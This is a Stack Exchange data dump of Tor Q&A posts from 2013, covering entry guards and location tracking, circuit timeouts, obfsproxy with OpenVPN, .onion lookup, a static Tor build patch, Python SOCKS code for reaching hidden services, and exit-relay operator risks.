  <row Id="698" PostTypeId="1" CreationDate="2013-11-01T15:47:50.290" Score="6" ViewCount="453" Body="&lt;p&gt;Let's say that someone moves a Tor instance [1] from one internet access point [2] to another one. And let's say that an adversary is logging traffic from both access points. The adversary could log, that some user Tor client has chosen X entry guards out of Y available entry guards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How unique is that Tor instance's set of entry guards?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the user moves to another internet access point, couldn't the adversary be pretty sure, that it's the same user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is getting problematic if the adversary can at some point link the identity of a specific user to a set of entry guards, because the adversary can now monitor from which location this user connects to the Tor network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be better to have a separate installation of Tor (and therefore set of entry guards) per internet access point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1]: For example an installation of TBB on a flash drive or so. &lt;br /&gt;&#xA;[2]: Different ISP's, WiFi hotspots, VPNs etc.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="923" LastEditDate="2014-03-04T08:22:19.607" LastActivityDate="2014-07-02T22:00:56.487" Title="Tracking User Location using Entry Guards?" Tags="|anonymity|guard|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="699" PostTypeId="2" ParentId="636" CreationDate="2013-11-01T16:10:49.370" Score="2" Body="&lt;p&gt;It depends on the threat model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When one assumes an passive adversary keeping logs to which entry guards one is connecting to and when one plans to use Tor from different internet access points, it might be better to have non-persistent entry guards. This question &lt;a href=&quot;https://tor.stackexchange.com/questions/698/tracking-user-location-using-entry-guards&quot;&gt;Tracking User Location using Entry Guards?&lt;/a&gt; wheter this may or not be the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When one assumes an adversary hosting its own entry guards, it is safer to use persistent entry guards. Why? See question &lt;a href=&quot;https://tor.stackexchange.com/questions/386/why-is-a-longer-guard-rotation-period-with-fewer-guards-better-than-the-other-wa/387#387&quot;&gt;Why is a longer guard rotation period with fewer guards better than the other way around?&lt;/a&gt; and Peter Palfrader's &lt;a href=&quot;https://tor.stackexchange.com/a/387/80&quot;&gt;answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tails developers have plans to implement persistent entry guards, see &lt;a href=&quot;https://labs.riseup.net/code/issues/5462&quot; rel=&quot;nofollow noreferrer&quot;&gt;ticket&lt;/a&gt;. That ticket also contains additional extra information, such as a link to a discussion about a missing feature: &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2012-October/025975.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Location-aware persistent guards&lt;/a&gt;. In an ideal world, users could enter a pin/token/password to choose various sets of entry guards (discussed in this &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/2653&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor track ticket&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-11-01T16:10:49.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="700" PostTypeId="2" ParentId="583" CreationDate="2013-11-01T16:28:50.660" Score="4" Body="&lt;p&gt;You can try out commenting all SocksPorts and ControlPorts, then setting &lt;code&gt;SocksPort 0&lt;/code&gt; and &lt;code&gt;ControlPort 0&lt;/code&gt; in torrc. When Tor is able to connect, then there is a chance, although it requires programming skills. Socks is just an interface for browsers (TBB's Firefox) to communicate with Tor. If you (or pay someone) could teach Tor and Firefox to communicate using another interface (inter process communication), it could work (something like the &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2013-May/004801.html&quot; rel=&quot;nofollow&quot;&gt;LibOnionRoute&lt;/a&gt; Tor library). Otherwise the answer is probably no.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="80" LastEditDate="2013-11-01T22:17:07.290" LastActivityDate="2013-11-01T22:17:07.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="701" PostTypeId="1" AcceptedAnswerId="714" CreationDate="2013-11-01T22:24:03.200" Score="1" ViewCount="940" Body="&lt;p&gt;In the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor manpage&lt;/a&gt; I read about &lt;code&gt;CircuitBuildTimeout&lt;/code&gt;. It is set to a default value of 60 seconds. However usually also &lt;code&gt;LearnCircuitBuildTimeout&lt;/code&gt; is set. This enables adaptive learning of those timeouts. Does this setting only affect the current Tor session or is it saved over various sessions? &lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="58" LastEditDate="2013-11-02T20:14:23.703" LastActivityDate="2013-11-02T20:14:23.703" Title="Is CircuitBuildTimeout saved through sessions?" Tags="|configuration|circuit|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="702" PostTypeId="1" CreationDate="2013-11-02T01:27:56.047" Score="4" ViewCount="165" Body="&lt;p&gt;I would like to add an OpenVPN service (for personal use) to a machine I already have an obfuscated Tor bridge running on (for shared use).  I would like the option to access this VPN through obfsproxy, while still allowing for Tor to have its own managed obfsproxy (both running obfs3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a problem?  Do I simply fire up a new, non-managed obfsproxy instance for the VPN?&lt;/p&gt;&#xA;" OwnerUserId="30" LastEditorUserId="923" LastEditDate="2014-07-02T20:22:18.567" LastActivityDate="2014-08-31T21:34:16.443" Title="How can I run multiple obfuscated services on a machine?" Tags="|configuration|obfsproxy|openvpn|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="703" PostTypeId="1" CreationDate="2013-11-02T03:10:44.640" Score="6" ViewCount="5778" Body="&lt;p&gt;When watching HTML5 videos on Tor Browser, is it dangerous to go full screen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be used to find out my screen resolution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Especially wondering this for Youtube.&lt;/p&gt;&#xA;" OwnerUserId="486" LastEditorUserId="486" LastEditDate="2013-11-02T04:09:42.960" LastActivityDate="2013-11-06T12:11:04.020" Title="Is it dangerous to watch videos full screen on Tor Browser?" Tags="|tor-browser-bundle|deanonymization|fingerprinting|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="704" PostTypeId="2" ParentId="639" CreationDate="2013-11-02T03:40:53.633" Score="3" Body="&lt;p&gt;It's becoming more and more a necessity to use Tor on mobile devices, so yes it makes sense. Even though there are lots of privacy-anonymity risks with doing so, people could develop solutions over time as more people start using Tor on Android.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must be very careful and informed about how Android works, what is being sent to internet, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My best advice would be installing a good firewall application to whitelist connections and a network monitor to find out what's going on and how to prevent them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also highly recommend adding iptables rules to the firewall application (You can search for good examples). You should block incoming connections and accept the established,related states only. This fixes lots of unwanted connections happening on Android, but it might break syncing applications.&lt;/p&gt;&#xA;" OwnerUserId="486" LastActivityDate="2013-11-02T03:40:53.633" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="705" PostTypeId="1" CreationDate="2013-11-02T05:50:05.477" Score="4" ViewCount="459" Body="&lt;p&gt;One of the most common reasons I hear for not running an exit relay is the risk of it being used to access child porn and the owner of the exit node being accused or charged with downloading or trafficking the material. How significant is this risk? Does running a reduced exit policy mitigate this risk? Are there instances of exit node operators being convicted of child porn charges?&lt;/p&gt;&#xA;" OwnerUserId="355" LastActivityDate="2013-11-02T09:29:00.627" Title="Do exit node operators risk being charged with downloading or trafficking child porn?" Tags="|exit-relays|abuse|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="706" PostTypeId="1" CreationDate="2013-11-02T07:32:39.403" Score="3" ViewCount="2667" Body="&lt;p&gt;Windows PC is connected to internet via ethernet and shares connection via wi-fi hotspot. All traffic shared by hotspot should be routed through Tor.&lt;br&gt;&#xA;This is needed to enable connection to Tor network from device which has no Tor apps (Blackberry Playbook tablet).&lt;/p&gt;&#xA;" OwnerUserId="487" LastEditorUserId="487" LastEditDate="2019-01-20T00:10:24.067" LastActivityDate="2019-01-20T00:10:24.067" Title="How to setup TOR wi-fi hotspot on Windows?" Tags="|configuration|windows|network-configuration|" AnswerCount="2" CommentCount="4" ClosedDate="2014-01-17T21:32:41.830" ContentLicense="CC BY-SA 4.0" />
  <row Id="708" PostTypeId="2" ParentId="706" CreationDate="2013-11-02T09:03:17.067" Score="3" Body="&lt;p&gt;You can make the SOCKS proxy (which is what applications use to send traffic through Tor) useable by the local network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I don't know whether you can easily configure the tablet to use the proxy.&lt;/li&gt;&#xA;&lt;li&gt;The applications on the tablet can selectively disregard the proxy settings.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="488" LastActivityDate="2013-11-02T09:03:17.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="709" PostTypeId="2" ParentId="705" CreationDate="2013-11-02T09:29:00.627" Score="4" Body="&lt;p&gt;I haven't heard about any exit node operator being convicted in child pornography charges (but my backlog on &lt;code&gt;tor-relays@lists.torproject.org&lt;/code&gt; is huge).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it is likely that you will get contacted, at some point, by your local Law Enforcement Agency.&#xA;Here, in France, I didn't run into any trouble (of that kind) when running an exit node on my own, but I had to explain to various police officers what Tor is, and why the traffic they were asking about wasn't mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In retrospect, it might have been helpful to contact preemptively local law enforcement, to tell them about Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, you probably need to ask someone about how it goes in your country.&#xA;&lt;code&gt;tor-relays@lists.torproject.org&lt;/code&gt; (again) should be a good place to ask (or here, perhaps).&lt;/p&gt;&#xA;" OwnerUserId="488" LastActivityDate="2013-11-02T09:29:00.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="711" PostTypeId="1" AcceptedAnswerId="712" CreationDate="2013-11-02T10:40:46.367" Score="26" ViewCount="25389" Body="&lt;p&gt;How does Tor resolve &lt;code&gt;.onion&lt;/code&gt; Domains? Are there also some central DNS servers in the Tor network that store these records? Is there a chance that two hidden services generate the same domain name?&lt;/p&gt;&#xA;" OwnerUserId="485" LastEditorUserId="923" LastEditDate="2014-07-02T22:00:23.030" LastActivityDate="2017-03-31T17:00:16.713" Title=".onion Domains DNS lookup" Tags="|onion-services|dns|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="712" PostTypeId="2" ParentId="711" CreationDate="2013-11-02T10:54:49.943" Score="18" Body="&lt;p&gt;It doesn't resolve them in the common sense - there is no DNS involved at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks up their introduction point on the hidden service directories - see &lt;a href=&quot;https://tor.stackexchange.com/questions/244/is-it-possible-to-look-up-the-public-key-for-a-onion-address&quot;&gt;Is it possible to look up the public key for a .onion-address?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then a rendezvous point is set up where the hidden service and the client meet -&#xA;answers to &lt;a href=&quot;https://tor.stackexchange.com/questions/672/how-do-onion-addresses-exactly-work/674#674&quot;&gt;How do onion addresses exactly work?&lt;/a&gt; have more details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hostname is just the (truncated) hash of the public key - it's highly unlikely that two services create the same hostname.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2013-11-02T10:54:49.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="713" PostTypeId="2" ParentId="706" CreationDate="2013-11-02T10:55:17.010" Score="3" Body="&lt;p&gt;There is a &lt;a href=&quot;http://learn.adafruit.com/onion-pi/overview&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; how to use Raspberry Pi to make your own torified Wi-Fi.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2013-11-02T10:55:17.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="714" PostTypeId="2" ParentId="701" CreationDate="2013-11-02T12:30:48.357" Score="1" Body="&lt;p&gt;According to the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob_plain/HEAD:/path-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;specification&lt;/a&gt; (see section 2.4.2.) &lt;code&gt;CircuitBuildTimeout&lt;/code&gt; is used across sessions.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Timeouts are stored on disk&lt;/strong&gt; in a histogram of 50ms bin width, the same width used to calculate the Xm value above. This histogram must be shuffled after &lt;strong&gt;being read from disk&lt;/strong&gt;, to preserve a proper expiration of old values after restart.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The specification includes the following, too:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The Tor client should build test circuits at a rate of one per minute up until 100 circuits are built. This allows a &lt;strong&gt;fresh Tor&lt;/strong&gt; to have a CircuitBuildTimeout &lt;strong&gt;estimated within 1.5 hours&lt;/strong&gt; after install, upgrade, or network change (see below).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;which wouldn't be included if an &lt;strong&gt;already used Tor&lt;/strong&gt; would need the same amount of time.&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2013-11-02T12:30:48.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="715" PostTypeId="2" ParentId="645" CreationDate="2013-11-02T22:07:47.530" Score="4" Body="&lt;p&gt;Building Tor statically is problematic, at best, and not really (well) supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got configure to run with this minor patch:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--- a/configure.ac&#xA;+++ b/configure.ac&#xA;@@ -542,7 +542,7 @@ AC_ARG_WITH(ssl-dir,&#xA;       fi&#xA;   ])&#xA;&#xA;-TOR_SEARCH_LIBRARY(openssl, $tryssldir, [-lssl -lcrypto $TOR_LIB_GDI],&#xA;+TOR_SEARCH_LIBRARY(openssl, $tryssldir, [-lssl -lcrypto -lz -ldl $TOR_LIB_GDI],&#xA;     [#include &amp;lt;openssl/rand.h&amp;gt;],&#xA;     [void RAND_add(const void *buf, int num, double entropy);],&#xA;     [RAND_add((void*)0,0,0); exit(0);], [],&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then running &lt;code&gt;autogen.sh&lt;/code&gt; again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is, of course, some horribly monkey-patching without any concern for The Right Thing, but it made &lt;code&gt;configure&lt;/code&gt; with &lt;code&gt;--enable-static-tor --with-libevent-dir=/usr/lib/x86_64-linux-gnu --with-openssl-dir=/usr/lib/x86_64-linux-gnu/ --with-zlib-dir=/usr/lib/x86_64-linux-gnu&lt;/code&gt; run through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The build then fails when trying to link &lt;code&gt;tor-gencert&lt;/code&gt;, but it produced a static tor binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[git|master] weasel@valiant:~/projects/tor/tor/build-tree$ find -name tor&#xA;./src/or/tor                                               &#xA;[git|master] weasel@valiant:~/projects/tor/tor/build-tree$ file src/or/tor                                                                                                          &#xA;src/or/tor: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=0xc35ac69bf7ed2d7c736daec2df91ef6367cc9e74, not stripped&#xA;[git|master] weasel@valiant:~/projects/tor/tor/build-tree$ ldd src/or/tor &#xA;        not a dynamic executable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and lots of warnings during the build:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  CCLD   src/or/tor&#xA;/usr/lib/x86_64-linux-gnu//libcrypto.a(dso_dlfcn.o): In function `dlfcn_globallookup':&#xA;(.text+0x19): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking&#xA;src/common/libor.a(util.o): In function `check_private_dir':&#xA;util.c:(.text+0x4e83): warning: Using 'getgrgid' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking&#xA;src/or/libtor.a(connection.o): In function `connection_listener_new':&#xA;connection.c:(.text+0x3c76): warning: Using 'getpwnam' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking&#xA;src/or/libtor.a(control.o): In function `getinfo_helper_misc':&#xA;control.c:(.text+0x482b): warning: Using 'getpwuid' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking&#xA;src/common/libor.a(address.o): In function `tor_addr_lookup':&#xA;address.c:(.text+0x9ba): warning: Using 'getaddrinfo' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking&#xA;/usr/lib/x86_64-linux-gnu/libevent.a(evutil.o): In function `evutil_getaddrinfo_common':&#xA;(.text+0x14a7): warning: Using 'getprotobynumber' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, in short:  It can be done.  Maybe not a good idea.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-11-02T22:07:47.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="716" PostTypeId="1" CreationDate="2013-11-03T11:21:19.027" Score="6" ViewCount="15663" Body="&lt;p&gt;Using normal sockets I can stream a list of numbers (updated every second) from a server to a client. This works perfectly fine. Now I want to do the same using Tor. Using &lt;a href=&quot;https://code.google.com/p/socksipy-branch/&quot; rel=&quot;nofollow&quot;&gt;Socksipy&lt;/a&gt; I am able to make HTTP requests to a web page (&lt;a href=&quot;http://pastebin.com/i3FM4Jri&quot; rel=&quot;nofollow&quot;&gt;using this code&lt;/a&gt;).  So from that starting point, I tried to build a piece of code that connects to a remote socket through Tor like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import socket&#xA;import socks&#xA;socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, &quot;127.0.0.1&quot;, 9050, True)&#xA;#s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#xA;s = socket.socket = socks.socksocket&#xA;s.connect(('&amp;lt;the ip address here&amp;gt;', 46956))&#xA;s.sendall('Hello world')&#xA;print(s.recv(1024))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I uncomment line 4 and comment out line 5 it all works fine, but running it like this results in an error saying: &lt;code&gt;TypeError: unbound method connect() must be called with socksocket instance as first argument (got tuple instance instead)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question: What am I doing wrong here? How can I connect to this remote socket through Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also two other questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there no better way of doing this? By using &lt;code&gt;stem.socket&lt;/code&gt; for example?&lt;/li&gt;&#xA;&lt;li&gt;How would I be able to build the public socket that I want to connect to, using a Tor hidden service?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any information or hints are welcome.&lt;/p&gt;&#xA;" OwnerUserId="246" LastEditorDisplayName="user5" LastEditDate="2013-11-04T13:36:12.243" LastActivityDate="2014-10-22T13:37:28.707" Title="How to connect to a remote socket through Tor in Python?" Tags="|onion-services|socks|python|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="717" PostTypeId="2" ParentId="716" CreationDate="2013-11-03T13:58:08.990" Score="3" Body="&lt;p&gt;This works for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import socket&#xA;import socks&#xA;&#xA;socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, &quot;127.0.0.1&quot;, 9050, True)&#xA;s = socks.socksocket()&#xA;s.connect(('anguilla.debian.or.at', 1234))&#xA;s.sendall('Hello world')&#xA;print(s.recv(1024))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, that's just initializing s differently, via &lt;code&gt;s = socks.socksocket()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With socks, &lt;code&gt;connect()&lt;/code&gt; also takes a hostname.  This should enable you to connect to a hidden service, as in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, &quot;127.0.0.1&quot;, 9050, True)&#xA;s = socks.socksocket()&#xA;s.connect(('3g2upl4pq6kufc4m.onion', 80))&#xA;&#xA;message = 'GET / HTTP/1.0\r\n\r\n'&#xA;s.sendall(message)&#xA;&#xA;reply = s.recv(4069)&#xA;print reply&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-11-03T13:58:08.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="718" PostTypeId="1" CreationDate="2013-11-03T16:59:19.057" Score="15" ViewCount="5305" Body="&lt;p&gt;Assuming I select &quot;check certificates using Tor&quot;, can I safely turn this feature on without compromising my anonymity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will this protect me against (or warn me about) a malicious exit node trying to perform a mitm attack on TLS connections?&lt;/p&gt;&#xA;" OwnerUserId="491" LastEditorUserId="923" LastEditDate="2014-03-04T08:21:43.027" LastActivityDate="2014-04-05T20:18:09.497" Title="Is it safe to enable the SSL Observatory feature of HTTPS Everywhere in Tor Browser?" Tags="|tor-browser-bundle|anonymity|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="719" PostTypeId="2" ParentId="718" CreationDate="2013-11-03T17:08:45.837" Score="-1" Body="&lt;p&gt;wireshark will show traffic originating from &quot;HTTPS Everywhere&quot; plug-in going to google. As far as I understand, &quot;HTTPS Everywhere&quot; consults a list hosted by google.com. So by using &quot;HTTPS Everywhere&quot; you tell google all the https site you are visiting.&lt;/p&gt;&#xA;" OwnerUserId="492" LastActivityDate="2013-11-03T17:08:45.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="721" PostTypeId="1" CreationDate="2013-11-04T06:43:25.167" Score="1" ViewCount="660" Body="&lt;p&gt;Using Whonix 7 as a model, I'm attempting to use OpenWrt 12.09 VMs as both Tor gateway and workspace. In particular, I want to use these pairs of OpenWrt VMs to establish OpenVPN tunnels through Tor. In one pair, the Tor gateway has a hidden service pointing to an OpenVPN server in the workspace. In the other pair, there's an OpenVPN client in the workspace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The OpenVPN-server pair seems to be working. I can connect to it using an OpenVPN client in a Whonix workstation, using either OpenVPN's socks-port option with Tor's SocksPort, or Tor's TransPort without the socks-port option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested the Tor gateway of the OpenVPN-client pair using a Whonix workstation VM, with required changes in eth0 configuration. An OpenVPN client in the Whonix workstation connects using OpenVPN's socks-port option, so I know that SocksPort is working in the OpenWrt Tor gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;code&gt;TransPort&lt;/code&gt; in the OpenWrt Tor gateway seems broken, because an OpenVPN client in the Whonix workstation VM doesn't connect without OpenVPN's socks-port option. Perhaps OpenWrt isn't routing properly, through incompatibility or misconfiguration. Or maybe it's because the OpenWrt repository doesn't have the latest Tor release (0.2.2.39 being the latest in the OpenWrt repo).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the complete OpenVPN-client pair, an OpenVPN client won't connect even with the socks-proxy option. I get the error &lt;code&gt;Options error: Unrecognized option or missing parameter(s) in client0.conf:4: socks-proxy (2.2.2)&lt;/code&gt;. Perhaps there's something broken in the OpenVPN port to OpenWrt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see three paths: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;fix TransPort in my OpenWrt Tor gateway;&lt;/li&gt;&#xA;&lt;li&gt;get socks-proxy working for OpenVPN in OpenWrt; and&lt;/li&gt;&#xA;&lt;li&gt;use tsocks with OpenVPN in OpenWrt.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Which path is the most promising?&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="88" LastEditDate="2015-08-21T22:49:59.460" LastActivityDate="2015-08-27T22:23:10.557" Title="How do I get an OpenVPN client in OpwnWrt to connect to an OpenVPN hidden service?" Tags="|socks|transparent-proxy|openvpn|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="722" PostTypeId="1" AcceptedAnswerId="1299" CreationDate="2013-11-04T09:48:16.853" Score="3" ViewCount="827" Body="&lt;p&gt;I've set up a Tor exit relay (0.2.4.17-rc, debian testing) in my VPS, and it's running well (about 20Gbs/day).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But a lot of traffic (about 50%) is using port 9050 for incoming connections. It's something more than random scans.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I am worried, I've run tcpdump and the packets length is about 50-60 bytes long.&#xA;It seems like DOS or flood traffic: external IP tries to connect and my server refuses (RST, ACK), each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Tor relay (OR) port is 9001, and, of course, &lt;code&gt;SocksPort 0&lt;/code&gt; in my torrc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you think something is wrong with my relay? Why that traffic if my only Tor port is 9001? Should I block that traffic using iptables?&lt;/p&gt;&#xA;" OwnerUserId="495" LastEditorUserId="114" LastEditDate="2014-07-02T19:42:33.183" LastActivityDate="2014-07-02T19:42:33.183" Title="Traffic in port 9050 in a relay (denial of service attack?)" Tags="|relays|exit-relays|socks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="723" PostTypeId="2" ParentId="249" CreationDate="2013-11-04T10:00:02.837" Score="1" Body="&lt;p&gt;A couple of times, I've recieved a mail from the security staff of the VPS service where my  exit relay is running, and the solution was to reduce the exit policy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the beginning, I'd use only 80 and 443 as exits ports, and later, if no one complains, add more ports to the exit policy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running an exit tor relay it's not as &quot;dangerous&quot; as it's seem :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) related to &quot;torrents distribution&quot;....&lt;/p&gt;&#xA;" OwnerUserId="495" LastActivityDate="2013-11-04T10:00:02.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="725" PostTypeId="2" ParentId="716" CreationDate="2013-11-04T18:03:40.537" Score="3" Body="&lt;p&gt;You're almost there, you're replacing &lt;code&gt;socket.socket&lt;/code&gt; with &lt;code&gt;socks.socket&lt;/code&gt;, so far so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However upon assignment of variable &lt;code&gt;s&lt;/code&gt;, you're not properly instantiating the replacement class, and therefore later during the connect call, your code results in the &lt;code&gt;unbound method&lt;/code&gt; type error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your original code, &lt;code&gt;s&lt;/code&gt; gets assigned a class instance, and in your updated code, a class method, it's in the difference of &lt;code&gt;socket.socket(...)&lt;/code&gt; vs &lt;code&gt;sock.socket&lt;/code&gt;, see?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;socket.socket = socks.socksocket&#xA;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because you don't actually want to replace &lt;code&gt;socket.socket&lt;/code&gt; (a module level class) with a class instance (it might be needed later or be relied upon within 3rd party libraries you're not even aware of).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your other two questions, I'm not familiar with &lt;code&gt;stem.socket&lt;/code&gt; at all, sorry. With regard to building the public (listening) part of your socket, you do no such thing, you use the tor distribution to tie in your &quot;existing&quot; server to the tor network. Unless ofcourse you don't want your software to be dependent on the official tor distribution, and build it into your code on your own (to my knowledge, no python implementation or library of/for the tor protocol exists, let alone the hidden service implementation, but don't quote me on this). It's not that technically complex a protocol, but if you go that route you need to read a lot of rfc's in order to stay compatible with the rest of the network, version interopability etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- &#xA;Kind regards, Yuka&lt;/p&gt;&#xA;" OwnerUserId="497" LastEditorUserId="497" LastEditDate="2013-11-04T19:30:57.740" LastActivityDate="2013-11-04T19:30:57.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
